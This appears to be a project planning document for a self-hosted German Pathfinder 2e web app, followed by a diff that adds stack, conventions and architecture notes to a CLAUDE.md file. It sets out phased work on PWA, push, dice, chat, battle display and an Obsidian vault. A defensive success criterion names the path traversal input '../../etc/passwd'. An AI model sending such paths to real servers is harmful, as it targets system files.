**Success criteria:** Unit tests pass for boost-cap-at-18 (STR 18 -> 19, not 20), DRAFT can be abandoned without character mutation, commit is atomic Prisma transaction, level_up_committed broadcasts correct new HP-Max and proficiency values, Free Archetype variant shows second feat slot restricted to archetype feats
|
||||
|
||||
**Pitfalls owned:** #8 boost cap, #9 recompute side effects, #10 feat retrain orphans, #11 skill increase history
|
||||
|
||||
**Research flag:** Needs spike on prerequisite DSL scope (how many feat prereqs are evaluable vs escape-hatch warning) and spellcaster slot tables per tradition.
|
||||
|
||||
### Phase B: PWA Foundation
|
||||
|
||||
**Rationale:** PWA is the prerequisite for both Web Push (Phase C) and Vault offline cache (Phase G). Cannot ship C or G without B. Has zero backend changes, so it can ship immediately after A without coordinating server migrations. Frontend-only phase with well-documented patterns.
|
||||
|
||||
**Delivers:** Installable PWA (manifest, icons, splash), service worker with Workbox injectManifest strategy, user-scoped cache keys, logout-triggered cache purge, offline read for character sheet / equipment / feats / translations, Add-to-Home-Screen flow for iOS (guided) and Android (automatic), use-pwa-update hook with battle-gated update prompt.
|
||||
|
||||
**Stack installs:** vite-plugin-pwa, workbox-precaching, workbox-routing, workbox-strategies, workbox-expiration, workbox-cacheable-response, idb-keyval, @tanstack/react-query-persist-client, @tanstack/query-sync-storage-persister
|
||||
|
||||
**Success criteria:** Lighthouse PWA audit passes Installable check, app loads on airplane mode showing character sheet (not login error), second login on same device does not see first user data in cache, deploy during active battle does not reload the session
|
||||
|
||||
**Pitfalls owned:** #1 SW cache leaks, #2 mid-session SW update, #3 iOS push silent failure (manifest prereqs), #4 VAPID key loss (manifest prereqs), #21 manifest icon traps, #23 offline auth fallback
|
||||
|
||||
**Research flag:** Standard patterns, skip research-phase. vite-plugin-pwa + Workbox are well-documented.
|
||||
|
||||
### Phase C: Web Push
|
||||
|
||||
**Rationale:** Depends on Phase B (service worker must exist for push handler). Unblocks Phase F (GM Live-Tools needs push for the du-bist-dran ping). Can run in parallel with Phase D if team has bandwidth.
|
||||
|
||||
**Delivers:** VAPID key generation, PushSubscription Prisma model, PushModule (subscribe/unsubscribe endpoints, sendToUser/sendToCampaign helpers), notification-permission-prompt component, 410-Gone cleanup, pushsubscriptionchange SW listener.
|
||||
|
||||
**Stack installs (server):** web-push, @types/web-push
|
||||
|
||||
**Success criteria:** Android Chrome receives push when app is not open, iOS (home-screen installed PWA) receives push, 410 response deletes subscription from DB, VAPID keys documented in .env.example
|
||||
|
||||
**Pitfalls owned:** #3 iOS push, #4 VAPID key loss
|
||||
|
||||
**Research flag:** Standard patterns, skip research-phase. web-push library API is well-documented.
|
||||
|
||||
### Phase D: Dice + Chat
|
||||
|
||||
**Rationale:** Logically independent of Phase C (can use toast for inline display without push). Depends on Phase B (offline read of roll log via SW cache). Chat + dice together in one phase because they share the DiceRoll/ChatMessage dual-table schema with embedRollId FK. Unblocks Phase F (GM needs chat surface to send targeted ping messages).
|
||||
|
||||
**Delivers:** DiceModule + DiceGateway, ChatModule + ChatGateway, server-authoritative dice rolling, DiceRoll and ChatMessage Prisma models with composite indexes on (campaignId, createdAt), dice-roller UI, chat-panel UI, roll embeds in chat, cursor-based pagination, roll log per campaign and per battle, PF2e degree-of-success calculation.
|
||||
|
||||
**Stack installs (server):** @dice-roller/rpg-dice-roller
|
||||
|
||||
**Success criteria:** Client cannot forge a roll result (server rejects manipulated WebSocket payload), crit doubling applies to dice not modifiers (2d6+4 crit = 4d6+4 not 4d12+8), EXPLAIN ANALYZE on paginated chat query shows index use, roll sent during 30s disconnect appears after reconnect via REST refetch
|
||||
|
||||
**Pitfalls owned:** #6 client-side dice tampering, #7 markdown chat XSS, #22 chat/roll index
|
||||
|
||||
**Research flag:** Standard patterns. PF2e degree-of-success math and @dice-roller/rpg-dice-roller API well-documented.
|
||||
|
||||
### Phase E: Battle Ausbau (Display-Mode, Initiative-Tracker, Effekte)
|
||||
|
||||
**Rationale:** Builds on existing battle infrastructure. Benefits from Phase D (dice visible in initiative order) but is not blocked by it. The display-mode security decision (server sub-rooms) must be implemented here; cannot be retrofitted without touching gateway and all downstream broadcast calls.
|
||||
|
||||
**Delivers:** BattleDisplayPage separate route with server-filtered DTO, BattleGateway sub-rooms (battle:id:gm / battle:id:display), display-only short-lived token issued by GM, BattleEffect Prisma model, turnTokenId on BattleSession, InitiativeTracker component, EffectPill component, token add/remove WebSocket events (replacing query-invalidate), GM next-turn button.
|
||||
|
||||
**Stack installs:** None
|
||||
|
||||
**Success criteria:** socket.onAny(console.log) on display incognito shows no GM-only fields, display screen stays live after GM browser refresh, aspect ratio test on actual table screen hardware passes, display token expires when battle ends
|
||||
|
||||
**Pitfalls owned:** #5 display screen GM data leak, #15 socket message ordering on reconnect, #18 WebSocket room leaks, #24 display aspect ratio
|
||||
|
||||
**Research flag:** Display-mode auth token design needs a spike. The short-lived scoped token issuance pattern (GM clicks -> server issues one-shot URL) is not a standard Socket.io pattern and needs a brief design session before implementation.
|
||||
|
||||
### Phase F: GM Live-Tools
|
||||
|
||||
**Rationale:** Depends on Phase C (push for du-bist-dran ping) and Phase D (chat surface for targeted messages). No new backend module or Prisma schema required - reuses all existing character WebSocket events. Fastest phase in the milestone.
|
||||
|
||||
**Delivers:** gm-control-panel.tsx sidebar in campaign-detail-page listing all player characters with quick-actions (HP+/-, condition set, item give, money adjust, push-ping send), gmMode prop on existing modals, server-side authorization audit of existing character events to enforce GM role check.
|
||||
|
||||
**Stack installs:** None
|
||||
|
||||
**Success criteria:** GM can modify any player character HP/conditions/items/money from the panel, targeted push-ping reaches specific player, bulk destructive actions require confirmation modal, in-memory undo stack (last 5 actions) works
|
||||
|
||||
**Pitfalls owned:** #25 GM bulk-action footgun
|
||||
|
||||
**Research flag:** Authorization audit of existing character WebSocket events required before implementation. FEATURES.md flags existing events probably do not enforce is-actor-a-GM check. This is a required spike.
|
||||
|
||||
### Phase G: Obsidian Vault
|
||||
|
||||
**Rationale:** Depends on Phase B (service worker for offline note cache). Independent of all other phases. Can be parallelized with Phase E or F if team capacity allows. Vault transport decision must be resolved before starting.
|
||||
|
||||
**Delivers:** VaultModule with VaultProvider DI interface (FsVaultProvider for same-machine, WebDAVVaultProvider for separate machine), VaultConfig and VaultNoteCache Prisma models, wikilink resolver with Obsidian shortest-path algorithm, basename index for ambiguity detection, image proxy endpoint, vault-browser-page.tsx with folder tree + note reader, note-renderer.tsx (react-markdown + remark-gfm + portaljs/remark-wiki-link), full-text search via Postgres FTS, last-N offline cache via SW StaleWhileRevalidate, path traversal guard.
|
||||
|
||||
**Stack installs (client):** react-markdown, remark-gfm, @portaljs/remark-wiki-link, react-shiki, shiki. (server): webdav (conditional on transport decision)
|
||||
|
||||
**Success criteria:** Vault path traversal test rejects ../../etc/passwd, cyclic embed (A embeds B embeds A) renders placeholder not stack overflow, ambiguous wikilinks surface to user not silently pick wrong, note cache survives airplane mode after one online read
|
||||
|
||||
**Pitfalls owned:** #12 wikilink ambiguity, #13 embed loops, #14 vault path traversal
|
||||
|
||||
**Research flag:** Vault transport decision is an open question that must be answered before Phase G starts. See Open Questions below.
|
||||
|
||||
### Phase Ordering Rationale
|
||||
|
||||
Hard dependencies: B before C (SW required for push handler); B before G (SW required for vault offline cache); C and D both before F (F needs push and chat surface). These cannot be reordered.
|
||||
|
||||
Negotiable: D can start immediately after B without waiting for C to complete; G can start after B without waiting for E or F. A is independent of everything and can start immediately.
|
||||
|
||||
Anti-ordering to avoid: Push before PWA (SW not yet deployed); GM Live-Tools before Push and Chat (half-functionality, ping missing); Battle display before implementing sub-rooms (security regression difficult to retrofit).
|
||||
|
||||
### Research Flags
|
||||
|
||||
Phases needing deeper research during planning:
|
||||
- **Phase A:** Prerequisite DSL scope. Determine which prerequisite patterns are mechanically evaluable (skill rank, feat ownership, level, class) vs which need the escape-hatch warning path. Recommend a spike against Archives of Nethys feat data.
|
||||
- **Phase E:** Display-mode token issuance design. One-shot scoped token for table display URL needs a design spike (JWT with battle:id claim, short TTL, server-validated on display route).
|
||||
- **Phase F:** Authorization audit. Existing character WebSocket events need a code audit to verify GM role enforcement before the GM Live-Tools UI exposes them.
|
||||
- **Phase G:** Vault transport decision. Must be resolved (filesystem mount vs WebDAV) before Phase G implementation begins.
|
||||
|
||||
Phases with standard patterns (skip research-phase):
|
||||
- **Phase B:** vite-plugin-pwa + Workbox are extensively documented. injectManifest strategy has clear examples.
|
||||
- **Phase C:** web-push library API is stable and well-documented.
|
||||
- **Phase D:** @dice-roller/rpg-dice-roller API is documented; PF2e degree-of-success math is rules-defined.
|
||||
|
||||
## Confidence Assessment
|
||||
|
||||
| Area | Confidence | Notes |
|
||||
|------|------------|-------|
|
||||
| Stack | HIGH | All versions verified via Context7 and npm; vite-plugin-pwa v1.2.0 confirmed Vite 7 support; react-markdown v9 confirmed React 19 compatibility |
|
||||
| Features | HIGH | PF2e rules verified against Archives of Nethys; PWA tech verified against 2026 docs; competitor analysis is MEDIUM (UX details inferred) |
|
||||
| Architecture | HIGH | Based on mapped live codebase; all patterns reference existing gateway/service/module code; no speculative components |
|
||||
| Pitfalls | HIGH for PWA/Push/Socket.io/Prisma; MEDIUM for Obsidian edge cases | PWA and Socket.io pitfalls verified against official 2026 docs; Obsidian wikilink edge cases from community forum threads |
|
||||
|
||||
**Overall confidence:** HIGH
|
||||
|
||||
### Gaps to Address
|
||||
|
||||
- **Vault transport:** PROJECT.md says protocol is yet to be chosen. Must decide filesystem vs WebDAV before Phase G. Recommendation: default to filesystem mount with WebDAVVaultProvider as swappable DI alternative.
|
||||
- **Free Archetype scope:** Research confirms it is table stakes. Implementation scope (which archetype feat sources are valid after dedication) should be confirmed with the GM before Phase A begins.
|
||||
- **Display screen hardware:** Actual table screen aspect ratio and specs unknown. Get specs before Phase E ships.
|
||||
- **Player iOS versions:** iOS PWA push requires home-screen install and Safari 16.4+. Confirm player device baseline before Phase C ships.
|
||||
- **Feat prerequisite DSL scope:** Boundary between evaluable and unevaluable prerequisites needs a spike against actual group character feat lists before Phase A implementation.
|
||||
|
||||
## Open Questions for User
|
||||
|
||||
These require user input before or during the corresponding phase:
|
||||
|
||||
1. **Vault transport (before Phase G):** Is the Obsidian vault on the same machine as the NestJS server (filesystem mount, simpler) or on a separate machine like Synology or Nextcloud (WebDAV)? This determines which VaultProvider is implemented first.
|
||||
2. **Free Archetype scope (before Phase A):** Should the app restrict archetype feat slots strictly to the chosen archetype, or allow any archetype feat after dedication is taken? Pathbuilder allows any archetype feat after dedication; confirm group expectation to avoid a mid-implementation scope change.
|
||||
3. **Table display hardware (before Phase E):** What is the aspect ratio and resolution of the embedded table screen? 16:9, 4:3, portrait? Needed to avoid Pitfall #24.
|
||||
4. **Player iOS versions (before Phase C):** What iOS versions are the players running? iOS PWA push requires 16.4+. If any player is below this, push silently fails on their device.
|
||||
5. **Prerequisite DSL escape-hatch threshold (before Phase A):** For feat prerequisites that cannot be evaluated automatically (deity-specific, spellcasting-tradition edge cases), should the app (a) show a warning and allow the player to proceed, or (b) block and require GM override? Recommendation: option (a) with warning.
|
||||
|
||||
## Sources
|
||||
|
||||
### Primary (HIGH confidence)
|
||||
- Context7: /vite-pwa/vite-plugin-pwa - injectManifest strategy, useRegisterSW hook, Vite 7 support
|
||||
- Context7: /web-push-libs/web-push - generateVAPIDKeys, sendNotification API, 410/404/429 error patterns
|
||||
- Context7: /remarkjs/react-markdown - remarkPlugins, components prop, v9 React 19 support
|
||||
- Context7: /shikijs/shiki - Shiki 4.0.2 current, ESM grammars
|
||||
- Context7: /avgvstvs96/react-shiki - recommended replacement for react-syntax-highlighter
|
||||
- Context7: /googlechrome/workbox - caching strategies primitives
|
||||
- Archives of Nethys: Leveling Up, Ability Boosts, Skill Increases, Free Archetype, Archetypes
|
||||
- Socket.io docs v4: Connection state recovery, delivery guarantees, middlewares
|
||||
- .planning/codebase/ files: ARCHITECTURE.md, STRUCTURE.md, INTEGRATIONS.md, CONCERNS.md, TESTING.md (live codebase mapping)
|
||||
- server/prisma/schema.prisma: existing models and relations (live codebase)
|
||||
|
||||
### Secondary (MEDIUM confidence)
|
||||
- MagicBell 2026: PWA iOS limitations and Safari support - iOS push requires home-screen install, Declarative Web Push since Safari 18.4
|
||||
- Mobiloud 2026: Do Progressive Web Apps Work on iOS - install path requirements
|
||||
- @portaljs/remark-wiki-link npm: Obsidian-flavored path resolution semantics
|
||||
- Obsidian Forum threads: wikilink resolution rules, ambiguity handling
|
||||
- HackerOne: Secure markdown rendering in React - XSS via rehype-raw + dangerouslySetInnerHTML
|
||||
- Pushpad: Web Push error 410 cleanup pattern, VAPID error codes
|
||||
- Foundry VTT PF2e Leveler module: proves prerequisite-validating Level-Up is feasible at scale
|
||||
|
||||
### Tertiary (LOW confidence / needs validation)
|
||||
- Community wisdom on Obsidian embed cycle edge cases - verify with deliberate cyclic test vault before shipping
|
||||
- EU iOS PWA push flakiness by Safari version - verify on actual player devices before Phase C ships
|
||||
- Per-event JWT verify CPU impact at 20+ events/sec - verify with load test if battle turns out to be high-frequency
|
||||
|
||||
---
|
||||
*Research completed: 2026-04-27*
|
||||
*Ready for roadmap: yes*
|
||||
371
CLAUDE.md
371
CLAUDE.md
@@ -219,3 +219,374 @@ cd server && npm run db:generate # Prisma Client generieren
|
||||
cd server && npm run db:seed # Basis-Seed-Daten laden
|
||||
cd server && npm run db:seed:equipment # Equipment-Datenbank laden
|
||||
```
|
||||
|
||||
<!-- GSD:project-start source:PROJECT.md -->
|
||||
## Project
|
||||
|
||||
**Dimension47**
|
||||
|
||||
Dimension47 ist eine selbst gehostete Web-App für Pathfinder-2e-Tischrunden auf Deutsch. Sie verwaltet Kampagnen, Charakterbögen mit komplettem PF2e-Regelumfang (HP, Zustände, Inventar, Talente, Aktionen, Alchemie) und stellt einen GM-Battle-Screen mit 3D-Druck-Tisch-Display bereit — alles in Echtzeit synchronisiert. Zielgruppe ist die eigene Spielgruppe, nicht die breite Öffentlichkeit.
|
||||
|
||||
**Core Value:** Am Tisch funktioniert alles in Echtzeit und regelkonform: Spieler lesen ihren Charakterbogen am Handy, der GM steuert vom Laptop aus den Battle-Screen, der eingelassene Tisch-Display zeigt die Spielsicht — ohne Reibung, ohne falsche Werte, ohne Reload.
|
||||
|
||||
### Constraints
|
||||
|
||||
- **Tech-Stack**: NestJS 11 + React 19 + Prisma 7 + PostgreSQL + Socket.io + Tailwind v4 — gesetzt durch Bestand, kein Stack-Wechsel sinnvoll
|
||||
- **Sprache**: Deutsche UI durchgehend — alle neuen Texte ebenfalls Deutsch
|
||||
- **Design**: Mobile-First für alle nutzerseitigen Screens (Charakterbogen, Vault-Browser, Würfler, Chat); Battle-GM-Screen darf desktop-fokussiert bleiben; Tisch-Display ist eigener Layout-Modus
|
||||
- **Daten-Persistenz**: Alle PF2e-Daten gehören in die DB (Prisma-Seeds aus JSON), nichts wird zur Laufzeit aus JSON-Dateien gelesen
|
||||
- **Migrationen**: Schema-Änderungen ausschließlich über `prisma migrate dev`, niemals `db push`
|
||||
- **Code-Qualität**: TypeScript strict, keine `any`-Types, kein Quick-Fix der später wehtut
|
||||
- **Hosting-Modell**: Self-hosted für eigene Spielgruppe — keine Multi-Tenant-/SaaS-Anforderungen
|
||||
- **Push-Plattform**: Web Push (Service-Worker-basiert), kein FCM/APNs-Native-Wrapper
|
||||
- **Vault-Endpoint**: Selbst-gehosteter Endpoint (vermutlich auf eigenem Server) — konkretes Protokoll wird in der Vault-Phase entschieden, nicht jetzt
|
||||
<!-- GSD:project-end -->
|
||||
|
||||
<!-- GSD:stack-start source:codebase/STACK.md -->
|
||||
## Technology Stack
|
||||
|
||||
## Languages
|
||||
- TypeScript 5.9.3 (server), 5.7.3 (client) - Strict mode enabled, full type safety across codebase
|
||||
- JavaScript (build outputs, scripts)
|
||||
- HTML/CSS (frontend templates)
|
||||
## Runtime
|
||||
- Node.js (version not pinned, assumed LTS) - Used for both server and client dev/build
|
||||
- ES2023 target (server), ES2022 target (client)
|
||||
- npm - Lockfiles present for both client and server
|
||||
## Frameworks
|
||||
- React 19.2.0 - UI framework
|
||||
- React Router DOM 7.12.0 - Client-side routing
|
||||
- Vite 7.2.4 - Build tool and dev server
|
||||
- NestJS 11.0.1 - Web framework with TypeScript-first design
|
||||
- Express (via `@nestjs/platform-express`) - Underlying HTTP server
|
||||
- Tailwind CSS 4.1.18 - Utility-first CSS framework
|
||||
- `@tailwindcss/vite` plugin for Vite integration
|
||||
- Jest 30.0.0 - Test runner (server-side only, configured in package.json)
|
||||
- ts-jest - TypeScript support for Jest
|
||||
- Supertest 7.0.0 - HTTP assertion library (server integration tests)
|
||||
- @vitejs/plugin-react - React fast refresh for Vite
|
||||
## Key Dependencies
|
||||
- `@prisma/client` 7.2.0 - ORM and database abstraction layer
|
||||
- `prisma` 7.2.0 - CLI and schema management tool
|
||||
- `@anthropic-ai/sdk` 0.71.2 - Claude API for on-demand German translations
|
||||
- `socket.io` 4.8.3 - WebSocket library for real-time communication
|
||||
- `@nestjs/websockets` 11.1.12 - NestJS WebSocket integration
|
||||
- `@nestjs/platform-socket.io` 11.1.12 - Socket.io adapter for NestJS
|
||||
- `@nestjs/jwt` 11.0.2 - JWT authentication provider
|
||||
- `@nestjs/passport` 11.0.5 - Passport.js integration for authentication
|
||||
- `passport-jwt` 4.0.1 - JWT strategy for Passport
|
||||
- `bcrypt` 6.0.0 - Password hashing
|
||||
- `class-validator` 0.14.3 - Request DTO validation
|
||||
- `class-transformer` 0.5.1 - DTO transformation
|
||||
- `@nestjs/swagger` 11.2.5 - OpenAPI/Swagger documentation
|
||||
- `@nestjs/config` 4.0.2 - Environment configuration management
|
||||
- `dotenv` 17.2.3 - .env file loading
|
||||
- `axios` 1.13.2 - HTTP client library for API requests
|
||||
- `socket.io-client` 4.8.3 - WebSocket client for real-time updates
|
||||
- `zustand` 5.0.10 - Client state management (auth store)
|
||||
- `@tanstack/react-query` 5.90.19 - Server state and data fetching (caching, synchronization)
|
||||
- `react-router-dom` 7.12.0 - Client-side routing
|
||||
- `framer-motion` 12.26.2 - Animation library
|
||||
- `lucide-react` 0.562.0 - Icon library (SVG icons)
|
||||
- `clsx` 2.1.1 - Conditional CSS class utilities
|
||||
- `tailwind-merge` 3.4.0 - Tailwind class merging utility
|
||||
- `@nestjs/cli` 11.0.0 - NestJS code generation and project scaffolding
|
||||
- `@nestjs/schematics` 11.0.0 - Code generators for NestJS
|
||||
- `prettier` 3.4.2 - Code formatter
|
||||
- `eslint` 9.18.0 - Linting
|
||||
- `typescript-eslint` 8.20.0 - TypeScript ESLint support
|
||||
- `tsx` 4.21.0 - TypeScript execution (used for seed scripts)
|
||||
- `tsconfig-paths` 4.2.0 - TypeScript path alias resolution
|
||||
- `ts-node` 10.9.2 - TypeScript REPL and script runner
|
||||
- `ts-loader` 9.5.2 - TypeScript webpack loader
|
||||
- `eslint` 9.39.1 - Linting
|
||||
- `typescript-eslint` 8.46.4 - TypeScript ESLint support
|
||||
- `eslint-plugin-react-hooks` 7.0.1 - React Hooks linting rules
|
||||
- `eslint-plugin-react-refresh` 0.4.24 - Vite React refresh linting
|
||||
## Configuration
|
||||
- Server loads from `.env` file (see `.env.example`):
|
||||
- Client loads from `.env` or `.env.local`:
|
||||
- Server: `server/tsconfig.json` with target ES2023, decorators enabled
|
||||
- Client: `client/tsconfig.app.json` with target ES2022, strict mode
|
||||
- Client Vite config: `client/vite.config.ts`
|
||||
- Server NestJS config: `server/nest-cli.json` (if exists)
|
||||
## Platform Requirements
|
||||
- Node.js LTS (tested with v22)
|
||||
- npm (lockfiles version management)
|
||||
- PostgreSQL 16+ (via Docker Compose)
|
||||
- Docker & Docker Compose (for database)
|
||||
- Git
|
||||
- Node.js LTS
|
||||
- PostgreSQL 16+ (managed service or self-hosted)
|
||||
- Anthropic API key for translations (optional but recommended)
|
||||
- File storage: Local filesystem or cloud storage (currently local via `./uploads`)
|
||||
## Database
|
||||
- Port 5432 (internal), 5433 (exposed for dev)
|
||||
- Database name: `dimension47`
|
||||
- Default credentials in docker-compose (dev only)
|
||||
- pgAdmin 4 included for database management (port 5050)
|
||||
- Schema: `server/prisma/schema.prisma`
|
||||
- Generator: Prisma Client with CommonJS module format
|
||||
- Adapter: `@prisma/adapter-pg` for optimized PostgreSQL queries
|
||||
- Output: `src/generated/prisma/`
|
||||
<!-- GSD:stack-end -->
|
||||
|
||||
<!-- GSD:conventions-start source:CONVENTIONS.md -->
|
||||
## Conventions
|
||||
|
||||
## Naming Patterns
|
||||
- Components: kebab-case (e.g., `character-sheet-page.tsx`, `add-condition-modal.tsx`, `hp-control.tsx`)
|
||||
- Utilities/Services: kebab-case (e.g., `use-character-socket.ts`, `export-character-html.ts`)
|
||||
- Directories: kebab-case (e.g., `features/`, `shared/`, `components/`)
|
||||
- camelCase for all function names
|
||||
- Hooks prefixed with `use` (e.g., `useAuthStore`, `useCharacterSocket`, `useMemo`, `useState`)
|
||||
- Event handlers prefixed with `handle` (e.g., `handleApply`, `handleConnection`, `handleDisconnect`)
|
||||
- Getter/setter methods follow camelCase (e.g., `getToken()`, `setToken()`)
|
||||
- camelCase for all variable names
|
||||
- Constants in UPPER_SNAKE_CASE (e.g., `PROFICIENCY_BONUS`, `SKILL_DATA`, `TABS`)
|
||||
- Type unions with capitalized names (e.g., `CharacterType`, `AbilityType`, `TabType`)
|
||||
- Boolean prefixes: `is`, `has`, `should`, `can` (e.g., `isLoading`, `isOwner`, `hasAccess`)
|
||||
- PascalCase for all types, interfaces, and enums
|
||||
- Domain types in shared: `Character`, `Campaign`, `User`, `CharacterItem`, `CharacterFeat`
|
||||
- Props interfaces suffixed with `Props` (e.g., `HpControlProps`, `AddConditionModalProps`)
|
||||
- DTO interfaces suffixed with `Dto` (e.g., `CreateCharacterDto`, `LoginDto`, `RegisterDto`)
|
||||
- State types in Zustand: domain-specific (e.g., `AuthState`)
|
||||
## Code Style
|
||||
- Prettier configured in `server/.prettierrc` with:
|
||||
- Line length: implicit (Prettier default ~80 chars but allows overflow)
|
||||
- Indentation: 2 spaces
|
||||
- Client: ESLint 9 with flat config (`eslint.config.js`)
|
||||
- Server: ESLint 9 with flat config (`eslint.config.mjs`)
|
||||
- **Strict Mode Enforced** on client (`client/tsconfig.app.json`):
|
||||
- Server TypeScript (`server/tsconfig.json`):
|
||||
## Import Organization
|
||||
- Client: `@/*` → `./src/*` (defined in `vite.config.ts` and `tsconfig.app.json`)
|
||||
- Server: No path alias configured; uses relative paths
|
||||
- Always use `@/` prefix on client to avoid relative path hell
|
||||
- Barrel files used: `features/*/index.ts`, `shared/components/ui/index.ts`
|
||||
- Default exports on pages: `export default App`
|
||||
- Named exports for utilities, types, hooks: `export { HpControl }`, `export const api = new ApiClient()`
|
||||
## Error Handling
|
||||
- Use NestJS exception classes: `NotFoundException`, `ForbiddenException`, `UnauthorizedException`, `ConflictException`
|
||||
- Access checks before operations (e.g., `checkCampaignAccess()`, `checkCharacterAccess()` in `characters.service.ts`)
|
||||
- Return meaningful error messages: "Campaign not found", "No access to this campaign"
|
||||
- Prisma operations wrapped in try-catch only when necessary for data validation
|
||||
- JWT verification throws exceptions through guard: `JwtAuthGuard` handles 401s
|
||||
- Axios interceptors for request/response handling (in `api.ts`)
|
||||
- 401 errors trigger logout and redirect to `/login` (except auth endpoints)
|
||||
- Error state in components: `isLoading`, `error`, `pendingChange` states
|
||||
- Modal operations: try/catch with `setIsLoading(false)` in finally block
|
||||
- Error logging: `console.error()` for debugging, no silent failures
|
||||
- User feedback: Navigation on error (`navigate()`) or via error state
|
||||
- Token validation on connection (throws `client.disconnect()`)
|
||||
- Logger for all connection/disconnection events
|
||||
- Errors logged but don't crash server
|
||||
## Logging
|
||||
- Server: NestJS `Logger` (in modules/gateways)
|
||||
- Client: `console.error()` for error debugging
|
||||
- Server logs connection events with user context
|
||||
- Client silently catches most errors, logs critical ones
|
||||
- No debug logging infrastructure in place
|
||||
## Comments
|
||||
- Constants with unclear meaning (e.g., `PROFICIENCY_BONUS` values, skill-to-ability mappings)
|
||||
- Complex calculations (e.g., HP percentage calculations)
|
||||
- Business logic that isn't immediately obvious (e.g., Pathfinder 2e rules)
|
||||
- NOT used for obvious code ("increment counter")
|
||||
- Minimal usage observed
|
||||
- API methods documented with Swagger decorators on server: `@ApiOperation()`, `@ApiResponse()`
|
||||
- No runtime JSDoc comments in source
|
||||
## Function Design
|
||||
- Modal components: 500-1700 lines (large, but feature-complete)
|
||||
- Service methods: 10-50 lines (concise, focused)
|
||||
- Utility functions: 5-20 lines
|
||||
- Interface-based: Pass objects instead of multiple params
|
||||
- Optional params with defaults: `remember: boolean = false`
|
||||
- Async functions return typed Promises: `async getCharacter(): Promise<Character>`
|
||||
- Component callbacks: callbacks are async promises (`onHpChange: (newHp: number) => Promise<void>`)
|
||||
- Services return full domain objects with relations included
|
||||
## Module Design
|
||||
- Components export as named: `export function HpControl() { ... }`
|
||||
- Utilities export as named: `export const api = new ApiClient()`
|
||||
- One export per file (generally)
|
||||
- Used in features: `features/auth/index.ts` re-exports `useAuthStore`, `LoginPage`, `RegisterPage`
|
||||
- Used for UI components: `shared/components/ui/index.ts` re-exports all buttons, cards, inputs
|
||||
- Reduces import complexity
|
||||
- NestJS @Injectable() decorator for services
|
||||
- Constructor injection: `constructor(private prisma: PrismaService)`
|
||||
- Circular dependencies resolved with @Inject(forwardRef()): seen in `CharactersService`
|
||||
## State Management
|
||||
- Single store pattern: `create<AuthState>()`
|
||||
- Persisted state with middleware: `persist()`
|
||||
- Partialize: stores only non-sensitive fields (`user`, `isAuthenticated`)
|
||||
- Actions as methods in store: `login()`, `logout()`, `checkAuth()`
|
||||
- Error state in store: `error: string | null`
|
||||
- No client state management needed
|
||||
- WebSocket gateway maintains connection map: `connectedClients = new Map()`
|
||||
## Design Tokens (UI)
|
||||
- Primary: Magenta `#c26dbc` (in Tailwind as `primary-500`, `primary-600`, etc.)
|
||||
- Secondary: Dark grays for dark mode (`secondary-800`, `secondary-700`)
|
||||
- Text: Primary (light), secondary (dimmer), tertiary (dimmest)
|
||||
- Background: Primary, secondary, tertiary layers
|
||||
- Error: Red (`error-500`, `error-600`)
|
||||
- Success: Green (`green-500`)
|
||||
- Warning: Yellow (`yellow-500`)
|
||||
- Font sizes: sm, base, lg (Tailwind defaults)
|
||||
- Weights: normal, medium (600), semibold
|
||||
- All UI text in German except code/technical terms
|
||||
- Lucide React exclusively (e.g., `Heart`, `Swords`, `BookOpen`, `Package`)
|
||||
- No emoji anywhere
|
||||
- Icon sizes: `h-4 w-4` (standard), `h-6 w-6` (large)
|
||||
- Minimum 44px (mobile-first, accessible)
|
||||
- Buttons: `h-11` (44px), `h-9` (36px for small), `h-12` (48px for large)
|
||||
- Icon buttons: `h-11 w-11` (44x44px)
|
||||
- Tailwind v4 defaults: `p-4`, `gap-2`, `rounded-lg`, `rounded-2xl`
|
||||
- Modals: `rounded-t-2xl sm:rounded-2xl` (bottom sheet on mobile, centered on desktop)
|
||||
- Mobile-first breakpoints: `sm:` prefix for tablet+ (e.g., `sm:items-center`, `sm:rounded-2xl`)
|
||||
- Flexbox for layouts: `flex`, `flex-col`, `items-center`, `justify-between`
|
||||
- Grid rarely used
|
||||
<!-- GSD:conventions-end -->
|
||||
|
||||
<!-- GSD:architecture-start source:ARCHITECTURE.md -->
|
||||
## Architecture
|
||||
|
||||
## Pattern Overview
|
||||
- Modular NestJS architecture with feature-based modules (Auth, Characters, Campaigns, Equipment, Battle)
|
||||
- Feature-first React organization with shared components and hooks
|
||||
- WebSocket Gateway real-time sync for character and battle state
|
||||
- Role-based access control (ADMIN, GM, PLAYER) enforced globally
|
||||
- Prisma ORM for PostgreSQL data persistence
|
||||
- JWT-based stateless authentication
|
||||
## Layers
|
||||
- Purpose: HTTP request handling and routing
|
||||
- Location: `server/src/modules/*/[feature].controller.ts`
|
||||
- Contains: REST endpoints with decorators (@Post, @Get, @Put, @Patch, @Delete)
|
||||
- Depends on: Services, DTOs, Guards, Decorators
|
||||
- Used by: HTTP clients (React frontend)
|
||||
- Examples:
|
||||
- Purpose: Business logic, data processing, validation
|
||||
- Location: `server/src/modules/*/[feature].service.ts`
|
||||
- Contains: Methods for creating, updating, deleting entities; complex calculations
|
||||
- Depends on: PrismaService, other Services, external APIs (Claude)
|
||||
- Used by: Controllers, Gateways, other Services
|
||||
- Examples:
|
||||
- Purpose: Real-time bidirectional communication for live updates
|
||||
- Location: `server/src/modules/*/[feature].gateway.ts`
|
||||
- Contains: Socket.io event handlers, authentication, room management
|
||||
- Depends on: JwtService, PrismaService, Services
|
||||
- Used by: React WebSocket hooks
|
||||
- Examples:
|
||||
- Purpose: Database abstraction and ORM
|
||||
- Location: `server/src/prisma/prisma.service.ts`
|
||||
- Contains: Prisma client wrapper, query interface
|
||||
- Depends on: PostgreSQL database
|
||||
- Used by: All Services
|
||||
- Data Models defined in: `server/prisma/schema.prisma`
|
||||
- Purpose: Isolated feature domains with components, hooks, types
|
||||
- Location: `client/src/features/[feature]/`
|
||||
- Contains: Components, hooks, index.ts barrel exports
|
||||
- Examples:
|
||||
- Purpose: Reusable components, hooks, utilities, types across features
|
||||
- Location: `client/src/shared/`
|
||||
- Contains:
|
||||
- Used by: All features
|
||||
- Purpose: Navigation and route protection
|
||||
- Location: `client/src/App.tsx`
|
||||
- Contains: React Router v6 routes, protected route wrapper
|
||||
- Depends on: React Router, Feature components
|
||||
- Entry point: `client/src/main.tsx`
|
||||
- Purpose: Client-side state persistence
|
||||
- Location: `client/src/features/auth/hooks/use-auth-store.ts`
|
||||
- Contains: Zustand store for authentication state
|
||||
- Used by: Auth-related components, ProtectedRoute
|
||||
## Data Flow
|
||||
### Character Update (Real-Time WebSocket Sync)
|
||||
